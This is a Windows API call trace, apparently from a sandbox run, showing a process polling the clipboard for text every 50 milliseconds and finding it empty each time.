[0253.243] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.243] GetClipboardData (uFormat=0x1) returned 0x0
[0253.243] CloseClipboard () returned 1
[0253.243] Sleep (dwMilliseconds=0x32)
[0253.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1e9f470, dwHighDateTime=0x1d96e12))
[0253.258] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.258] GetClipboardData (uFormat=0x1) returned 0x0
[0253.258] CloseClipboard () returned 1
[0253.258] Sleep (dwMilliseconds=0x32)
[0253.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1ec56b9, dwHighDateTime=0x1d96e12))
[0253.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.273] GetClipboardData (uFormat=0x1) returned 0x0
[0253.273] CloseClipboard () returned 1
[0253.273] Sleep (dwMilliseconds=0x32)
[0253.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1eeb91d, dwHighDateTime=0x1d96e12))
[0253.290] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.290] GetClipboardData (uFormat=0x1) returned 0x0
[0253.290] CloseClipboard () returned 1
[0253.290] Sleep (dwMilliseconds=0x32)
[0253.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1f11b78, dwHighDateTime=0x1d96e12))
[0253.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.304] GetClipboardData (uFormat=0x1) returned 0x0
[0253.304] CloseClipboard () returned 1
[0253.305] Sleep (dwMilliseconds=0x32)
[0253.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1f37e07, dwHighDateTime=0x1d96e12))
[0253.321] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.321] GetClipboardData (uFormat=0x1) returned 0x0
[0253.321] CloseClipboard () returned 1
[0253.322] Sleep (dwMilliseconds=0x32)
[0253.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1f5e036, dwHighDateTime=0x1d96e12))
[0253.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.336] GetClipboardData (uFormat=0x1) returned 0x0
[0253.336] CloseClipboard () returned 1
[0253.336] Sleep (dwMilliseconds=0x32)
[0253.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1f84284, dwHighDateTime=0x1d96e12))
[0253.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.351] GetClipboardData (uFormat=0x1) returned 0x0
[0253.351] CloseClipboard () returned 1
[0253.351] Sleep (dwMilliseconds=0x32)
[0253.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1faa4de, dwHighDateTime=0x1d96e12))
[0253.367] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.367] GetClipboardData (uFormat=0x1) returned 0x0
[0253.367] CloseClipboard () returned 1
[0253.367] Sleep (dwMilliseconds=0x32)
[0253.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1fd0738, dwHighDateTime=0x1d96e12))
[0253.382] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.382] GetClipboardData (uFormat=0x1) returned 0x0
[0253.383] CloseClipboard () returned 1
[0253.383] Sleep (dwMilliseconds=0x32)
[0253.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1ff6995, dwHighDateTime=0x1d96e12))
[0253.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.398] GetClipboardData (uFormat=0x1) returned 0x0
[0253.398] CloseClipboard () returned 1
[0253.399] Sleep (dwMilliseconds=0x32)
[0253.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf201cbec, dwHighDateTime=0x1d96e12))
[0253.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.415] GetClipboardData (uFormat=0x1) returned 0x0
[0253.415] CloseClipboard () returned 1
[0253.415] Sleep (dwMilliseconds=0x32)
[0253.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2042e43, dwHighDateTime=0x1d96e12))
[0253.434] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.434] GetClipboardData (uFormat=0x1) returned 0x0
[0253.435] CloseClipboard () returned 1
[0253.435] Sleep (dwMilliseconds=0x32)
[0253.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf20690ac, dwHighDateTime=0x1d96e12))
[0253.446] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.446] GetClipboardData (uFormat=0x1) returned 0x0
[0253.447] CloseClipboard () returned 1
[0253.447] Sleep (dwMilliseconds=0x32)
[0253.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf208f302, dwHighDateTime=0x1d96e12))
[0253.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.461] GetClipboardData (uFormat=0x1) returned 0x0
[0253.461] CloseClipboard () returned 1
[0253.461] Sleep (dwMilliseconds=0x32)
[0253.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf20b5559, dwHighDateTime=0x1d96e12))
[0253.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.476] GetClipboardData (uFormat=0x1) returned 0x0
[0253.476] CloseClipboard () returned 1
[0253.476] Sleep (dwMilliseconds=0x32)
[0253.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf20db7a8, dwHighDateTime=0x1d96e12))
[0253.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.493] GetClipboardData (uFormat=0x1) returned 0x0
[0253.493] CloseClipboard () returned 1
[0253.494] Sleep (dwMilliseconds=0x32)
[0253.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2101a08, dwHighDateTime=0x1d96e12))
[0253.508] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.508] GetClipboardData (uFormat=0x1) returned 0x0
[0253.508] CloseClipboard () returned 1
[0253.508] Sleep (dwMilliseconds=0x32)
[0253.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2127c62, dwHighDateTime=0x1d96e12))
[0253.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.523] GetClipboardData (uFormat=0x1) returned 0x0
[0253.523] CloseClipboard () returned 1
[0253.523] Sleep (dwMilliseconds=0x32)
[0253.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf214debe, dwHighDateTime=0x1d96e12))
[0253.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.540] GetClipboardData (uFormat=0x1) returned 0x0
[0253.540] CloseClipboard () returned 1
[0253.540] Sleep (dwMilliseconds=0x32)
[0253.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2174116, dwHighDateTime=0x1d96e12))
[0253.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.554] GetClipboardData (uFormat=0x1) returned 0x0
[0253.554] CloseClipboard () returned 1
[0253.554] Sleep (dwMilliseconds=0x32)
[0253.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf219a36d, dwHighDateTime=0x1d96e12))
[0253.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.572] GetClipboardData (uFormat=0x1) returned 0x0
[0253.572] CloseClipboard () returned 1
[0253.572] Sleep (dwMilliseconds=0x32)
[0253.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf21c05d0, dwHighDateTime=0x1d96e12))
[0253.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.586] GetClipboardData (uFormat=0x1) returned 0x0
[0253.586] CloseClipboard () returned 1
[0253.586] Sleep (dwMilliseconds=0x32)
[0253.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf21e6822, dwHighDateTime=0x1d96e12))
[0253.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.601] GetClipboardData (uFormat=0x1) returned 0x0
[0253.601] CloseClipboard () returned 1
[0253.601] Sleep (dwMilliseconds=0x32)
[0253.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf220ca7c, dwHighDateTime=0x1d96e12))
[0253.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.619] GetClipboardData (uFormat=0x1) returned 0x0
[0253.619] CloseClipboard () returned 1
[0253.619] Sleep (dwMilliseconds=0x32)
[0253.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2232cda, dwHighDateTime=0x1d96e12))
[0253.632] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.633] GetClipboardData (uFormat=0x1) returned 0x0
[0253.633] CloseClipboard () returned 1
[0253.633] Sleep (dwMilliseconds=0x32)
[0253.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2258f33, dwHighDateTime=0x1d96e12))
[0253.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.648] GetClipboardData (uFormat=0x1) returned 0x0
[0253.648] CloseClipboard () returned 1
[0253.648] Sleep (dwMilliseconds=0x32)
[0253.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf227f18b, dwHighDateTime=0x1d96e12))
[0253.671] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.671] GetClipboardData (uFormat=0x1) returned 0x0
[0253.671] CloseClipboard () returned 1
[0253.671] Sleep (dwMilliseconds=0x32)
[0253.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf22a53e5, dwHighDateTime=0x1d96e12))
[0253.680] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.680] GetClipboardData (uFormat=0x1) returned 0x0
[0253.680] CloseClipboard () returned 1
[0253.680] Sleep (dwMilliseconds=0x32)
[0253.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf22cb643, dwHighDateTime=0x1d96e12))
[0253.696] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.697] GetClipboardData (uFormat=0x1) returned 0x0
[0253.697] CloseClipboard () returned 1
[0253.697] Sleep (dwMilliseconds=0x32)
[0253.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf22f18c4, dwHighDateTime=0x1d96e12))
[0253.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.711] GetClipboardData (uFormat=0x1) returned 0x0
[0253.711] CloseClipboard () returned 1
[0253.711] Sleep (dwMilliseconds=0x32)
[0253.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2317af4, dwHighDateTime=0x1d96e12))
[0253.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.727] GetClipboardData (uFormat=0x1) returned 0x0
[0253.727] CloseClipboard () returned 1
[0253.727] Sleep (dwMilliseconds=0x32)
[0253.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf233dd4d, dwHighDateTime=0x1d96e12))
[0253.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.743] GetClipboardData (uFormat=0x1) returned 0x0
[0253.743] CloseClipboard () returned 1
[0253.743] Sleep (dwMilliseconds=0x32)
[0253.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2363fa8, dwHighDateTime=0x1d96e12))
[0253.757] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.758] GetClipboardData (uFormat=0x1) returned 0x0
[0253.758] CloseClipboard () returned 1
[0253.758] Sleep (dwMilliseconds=0x32)
[0253.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf238a205, dwHighDateTime=0x1d96e12))
[0253.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.773] GetClipboardData (uFormat=0x1) returned 0x0
[0253.773] CloseClipboard () returned 1
[0253.773] Sleep (dwMilliseconds=0x32)
[0253.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf23b045b, dwHighDateTime=0x1d96e12))
[0253.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.790] GetClipboardData (uFormat=0x1) returned 0x0
[0253.790] CloseClipboard () returned 1
[0253.790] Sleep (dwMilliseconds=0x32)
[0253.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf23d66b6, dwHighDateTime=0x1d96e12))
[0253.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.804] GetClipboardData (uFormat=0x1) returned 0x0
[0253.804] CloseClipboard () returned 1
[0253.805] Sleep (dwMilliseconds=0x32)
[0253.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf23fc90c, dwHighDateTime=0x1d96e12))
[0253.821] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.822] GetClipboardData (uFormat=0x1) returned 0x0
[0253.822] CloseClipboard () returned 1
[0253.822] Sleep (dwMilliseconds=0x32)
[0253.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2422b6e, dwHighDateTime=0x1d96e12))
[0253.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.836] GetClipboardData (uFormat=0x1) returned 0x0
[0253.836] CloseClipboard () returned 1
[0253.836] Sleep (dwMilliseconds=0x32)
[0253.853] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2448de6, dwHighDateTime=0x1d96e12))
[0253.853] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.853] GetClipboardData (uFormat=0x1) returned 0x0
[0253.853] CloseClipboard () returned 1
[0253.853] Sleep (dwMilliseconds=0x32)
[0253.867] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf246f009, dwHighDateTime=0x1d96e12))
[0253.867] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.867] GetClipboardData (uFormat=0x1) returned 0x0
[0253.867] CloseClipboard () returned 1
[0253.867] Sleep (dwMilliseconds=0x32)
[0253.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2495285, dwHighDateTime=0x1d96e12))
[0253.882] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.883] GetClipboardData (uFormat=0x1) returned 0x0
[0253.883] CloseClipboard () returned 1
[0253.883] Sleep (dwMilliseconds=0x32)
[0253.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf24bb4d6, dwHighDateTime=0x1d96e12))
[0253.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.898] GetClipboardData (uFormat=0x1) returned 0x0
[0253.898] CloseClipboard () returned 1
[0253.898] Sleep (dwMilliseconds=0x32)
[0253.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf24e1727, dwHighDateTime=0x1d96e12))
[0253.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.915] GetClipboardData (uFormat=0x1) returned 0x0
[0253.915] CloseClipboard () returned 1
[0253.915] Sleep (dwMilliseconds=0x32)
[0253.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2507984, dwHighDateTime=0x1d96e12))
[0253.929] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.929] GetClipboardData (uFormat=0x1) returned 0x0
[0253.929] CloseClipboard () returned 1
[0253.930] Sleep (dwMilliseconds=0x32)
[0253.947] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf252dbda, dwHighDateTime=0x1d96e12))
[0253.947] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.947] GetClipboardData (uFormat=0x1) returned 0x0
[0253.947] CloseClipboard () returned 1
[0253.947] Sleep (dwMilliseconds=0x32)
[0253.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2553e41, dwHighDateTime=0x1d96e12))
[0253.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.961] GetClipboardData (uFormat=0x1) returned 0x0
[0253.961] CloseClipboard () returned 1
[0253.961] Sleep (dwMilliseconds=0x32)
[0253.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf257a08f, dwHighDateTime=0x1d96e12))
[0253.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.976] GetClipboardData (uFormat=0x1) returned 0x0
[0253.976] CloseClipboard () returned 1
[0253.976] Sleep (dwMilliseconds=0x32)
[0253.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf25a02f1, dwHighDateTime=0x1d96e12))
[0253.993] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.993] GetClipboardData (uFormat=0x1) returned 0x0
[0253.993] CloseClipboard () returned 1
[0253.994] Sleep (dwMilliseconds=0x32)
[0254.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf25c654b, dwHighDateTime=0x1d96e12))
[0254.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.007] GetClipboardData (uFormat=0x1) returned 0x0
[0254.008] CloseClipboard () returned 1
[0254.008] Sleep (dwMilliseconds=0x32)
[0254.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf25ec7a5, dwHighDateTime=0x1d96e12))
[0254.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.023] GetClipboardData (uFormat=0x1) returned 0x0
[0254.023] CloseClipboard () returned 1
[0254.023] Sleep (dwMilliseconds=0x32)
[0254.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2612a00, dwHighDateTime=0x1d96e12))
[0254.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.040] GetClipboardData (uFormat=0x1) returned 0x0
[0254.040] CloseClipboard () returned 1
[0254.041] Sleep (dwMilliseconds=0x32)
[0254.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2638c5d, dwHighDateTime=0x1d96e12))
[0254.055] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.055] GetClipboardData (uFormat=0x1) returned 0x0
[0254.055] CloseClipboard () returned 1
[0254.055] Sleep (dwMilliseconds=0x32)
[0254.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf265eead, dwHighDateTime=0x1d96e12))
[0254.071] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.071] GetClipboardData (uFormat=0x1) returned 0x0
[0254.072] CloseClipboard () returned 1
[0254.072] Sleep (dwMilliseconds=0x32)
[0254.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2685112, dwHighDateTime=0x1d96e12))
[0254.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.086] GetClipboardData (uFormat=0x1) returned 0x0
[0254.086] CloseClipboard () returned 1
[0254.086] Sleep (dwMilliseconds=0x32)
[0254.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf26ab365, dwHighDateTime=0x1d96e12))
[0254.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.101] GetClipboardData (uFormat=0x1) returned 0x0
[0254.101] CloseClipboard () returned 1
[0254.101] Sleep (dwMilliseconds=0x32)
[0254.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf26d1690, dwHighDateTime=0x1d96e12))
[0254.117] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.117] GetClipboardData (uFormat=0x1) returned 0x0
[0254.117] CloseClipboard () returned 1
[0254.117] Sleep (dwMilliseconds=0x32)
[0254.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf26f7812, dwHighDateTime=0x1d96e12))
[0254.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.132] GetClipboardData (uFormat=0x1) returned 0x0
[0254.133] CloseClipboard () returned 1
[0254.133] Sleep (dwMilliseconds=0x32)
[0254.149] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf271daa6, dwHighDateTime=0x1d96e12))
[0254.149] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.149] GetClipboardData (uFormat=0x1) returned 0x0
[0254.149] CloseClipboard () returned 1
[0254.149] Sleep (dwMilliseconds=0x32)
[0254.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2743ccd, dwHighDateTime=0x1d96e12))
[0254.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.165] GetClipboardData (uFormat=0x1) returned 0x0
[0254.165] CloseClipboard () returned 1
[0254.166] Sleep (dwMilliseconds=0x32)
[0254.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2769f27, dwHighDateTime=0x1d96e12))
[0254.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.179] GetClipboardData (uFormat=0x1) returned 0x0
[0254.179] CloseClipboard () returned 1
[0254.180] Sleep (dwMilliseconds=0x32)
[0254.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf279017d, dwHighDateTime=0x1d96e12))
[0254.196] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.196] GetClipboardData (uFormat=0x1) returned 0x0
[0254.197] CloseClipboard () returned 1
[0254.197] Sleep (dwMilliseconds=0x32)
[0254.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf27b63f0, dwHighDateTime=0x1d96e12))
[0254.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.211] GetClipboardData (uFormat=0x1) returned 0x0
[0254.211] CloseClipboard () returned 1
[0254.211] Sleep (dwMilliseconds=0x32)
[0254.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf27dc62f, dwHighDateTime=0x1d96e12))
[0254.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.226] GetClipboardData (uFormat=0x1) returned 0x0
[0254.226] CloseClipboard () returned 1
[0254.226] Sleep (dwMilliseconds=0x32)
[0254.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf280288d, dwHighDateTime=0x1d96e12))
[0254.243] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.243] GetClipboardData (uFormat=0x1) returned 0x0
[0254.244] CloseClipboard () returned 1
[0254.244] Sleep (dwMilliseconds=0x32)
[0254.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2828af6, dwHighDateTime=0x1d96e12))
[0254.258] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.258] GetClipboardData (uFormat=0x1) returned 0x0
[0254.258] CloseClipboard () returned 1
[0254.258] Sleep (dwMilliseconds=0x32)
[0254.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf284ed45, dwHighDateTime=0x1d96e12))
[0254.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.273] GetClipboardData (uFormat=0x1) returned 0x0
[0254.273] CloseClipboard () returned 1
[0254.274] Sleep (dwMilliseconds=0x32)
[0254.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2874f90, dwHighDateTime=0x1d96e12))
[0254.289] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.289] GetClipboardData (uFormat=0x1) returned 0x0
[0254.289] CloseClipboard () returned 1
[0254.289] Sleep (dwMilliseconds=0x32)
[0254.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf289b1fa, dwHighDateTime=0x1d96e12))
[0254.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.304] GetClipboardData (uFormat=0x1) returned 0x0
[0254.304] CloseClipboard () returned 1
[0254.304] Sleep (dwMilliseconds=0x32)
[0254.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf28c1479, dwHighDateTime=0x1d96e12))
[0254.321] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.322] GetClipboardData (uFormat=0x1) returned 0x0
[0254.322] CloseClipboard () returned 1
[0254.322] Sleep (dwMilliseconds=0x32)
[0254.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf28e76b3, dwHighDateTime=0x1d96e12))
[0254.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.336] GetClipboardData (uFormat=0x1) returned 0x0
[0254.336] CloseClipboard () returned 1
[0254.336] Sleep (dwMilliseconds=0x32)
